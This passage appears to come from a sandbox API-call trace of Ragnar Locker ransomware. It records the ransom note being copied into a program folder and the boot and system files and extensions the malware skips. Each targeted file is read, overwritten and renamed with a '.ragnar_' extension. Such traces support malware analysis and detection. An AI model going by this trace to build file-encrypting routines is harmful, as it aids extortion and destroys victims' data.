OLEDB\\10\\Resources\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0079.540] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0079.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RGNR_FD7BD9FC.txt" [0079.540] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.543] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*" [0079.543] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0079.543] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.543] lstrcpyW (in: lpString1=0x1e9c94, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0079.543] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.543] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.543] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.543] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.543] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0079.543] lstrcmpiW (lpString1="msmdsrv.rll", lpString2=".") returned 1 [0079.543] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="..") returned 1 [0079.543] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0079.543] lstrcmpiW (lpString1="msolui100.rll", lpString2=".") returned 1 [0079.544] lstrcmpiW (lpString1="msolui100.rll", lpString2="..") returned 1 [0079.544] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.544] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.544] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.544] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.544] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0079.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0079.544] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.544] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0079.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0079.544] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="msmdsrv.rll" | out: lpString1="msmdsrv.rll") returned="msmdsrv.rll" [0079.544] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned=".rll" [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="autorun.inf") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="boot.ini") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootfont.bin") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootsect.bak") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootmgr") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootmgr.efi") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="bootmgfw.efi") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="desktop.ini") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="iconcache.db") returned 1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ntldr") returned -1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ntuser.dat") returned -1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ntuser.dat.log") returned -1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="ntuser.ini") returned -1 [0079.544] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="thumbs.db") returned -1 [0079.544] lstrcmpiW (lpString1=".rll", lpString2=".db") returned 1 [0079.544] lstrcmpiW (lpString1=".rll", lpString2=".sys") returned -1 [0079.545] lstrcmpiW (lpString1=".rll", lpString2=".dll") returned 1 [0079.545] lstrcmpiW (lpString1=".rll", lpString2=".lnk") returned 1 [0079.545] lstrcmpiW (lpString1=".rll", lpString2=".msi") returned 1 [0079.545] lstrcmpiW (lpString1=".rll", lpString2=".drv") returned 1 [0079.545] lstrcmpiW (lpString1=".rll", lpString2=".exe") returned 1 [0079.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0079.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf8 [0079.545] GetFileSizeEx (in: hFile=0xf8, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=666456) returned 1 [0079.545] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0xa2b4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.545] GetProcessHeap () returned 0x580000 [0079.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.545] ReadFile (in: hFile=0xf8, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0079.546] VirtualAlloc (lpAddress=0x0, dwSize=0xa2b58, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0079.547] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.547] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0079.547] ReadFile (in: hFile=0xf8, lpBuffer=0x21c0000, nNumberOfBytesToRead=0xa2b58, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1e9984*=0xa2b58, lpOverlapped=0x0) returned 1 [0079.561] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0079.564] LockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa2b58, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.564] WriteFile (in: hFile=0xf8, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0xa2b58, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1e9980*=0xa2b58, lpOverlapped=0x0) returned 1 [0079.566] UnlockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa2b58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.566] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.569] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0xa2b58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.570] LockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.570] WriteFile (in: hFile=0xf8, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0079.570] WriteFile (in: hFile=0xf8, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0079.570] WriteFile (in: hFile=0xf8, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0079.570] UnlockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.570] GetProcessHeap () returned 0x580000 [0079.570] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.570] CloseHandle (hObject=0xf8) returned 1 [0079.570] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" [0079.570] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.ragnar_FD7BD9FC" [0079.570] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.572] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0079.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0079.572] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="msolui100.rll" | out: lpString1="msolui100.rll") returned="msolui100.rll" [0079.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned=".rll" [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="autorun.inf") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="boot.ini") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="bootfont.bin") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="bootsect.bak") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="bootmgr") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="bootmgr.efi") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="bootmgfw.efi") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="desktop.ini") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="iconcache.db") returned 1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="ntldr") returned -1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="ntuser.dat") returned -1 [0079.572] lstrcmpiW (lpString1="msolui100.rll", lpString2="ntuser.dat.log") returned -1 [0079.573] lstrcmpiW (lpString1="msolui100.rll", lpString2="ntuser.ini") returned -1 [0079.573] lstrcmpiW (lpString1="msolui100.rll", lpString2="thumbs.db") returned -1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".db") returned 1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".sys") returned -1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".dll") returned 1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".lnk") returned 1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".msi") returned 1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".drv") returned 1 [0079.573] lstrcmpiW (lpString1=".rll", lpString2=".exe") returned 1 [0079.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0079.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf8 [0079.573] GetFileSizeEx (in: hFile=0xf8, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=14872) returned 1 [0079.573] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x3a0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.573] GetProcessHeap () returned 0x580000 [0079.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.573] ReadFile (in: hFile=0xf8, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0079.575] VirtualAlloc (lpAddress=0x0, dwSize=0x3a18, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.575] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.575] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0079.576] ReadFile (in: hFile=0xf8, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x3a18, lpOverlapped=0x0) returned 1 [0079.577] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0079.577] LockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a18, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.577] WriteFile (in: hFile=0xf8, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a18, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x3a18, lpOverlapped=0x0) returned 1 [0079.577] UnlockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.577] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.577] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x3a18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.577] LockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.577] WriteFile (in: hFile=0xf8, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0079.577] WriteFile (in: hFile=0xf8, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0079.577] WriteFile (in: hFile=0xf8, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0079.578] UnlockFile (hFile=0xf8, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.578] GetProcessHeap () returned 0x580000 [0079.578] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.578] CloseHandle (hObject=0xf8) returned 1 [0079.578] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" [0079.578] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.ragnar_FD7BD9FC" [0079.578] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.578] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4f [0079.578] lstrcpyW (in: lpString1=0x1ea0a8, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") 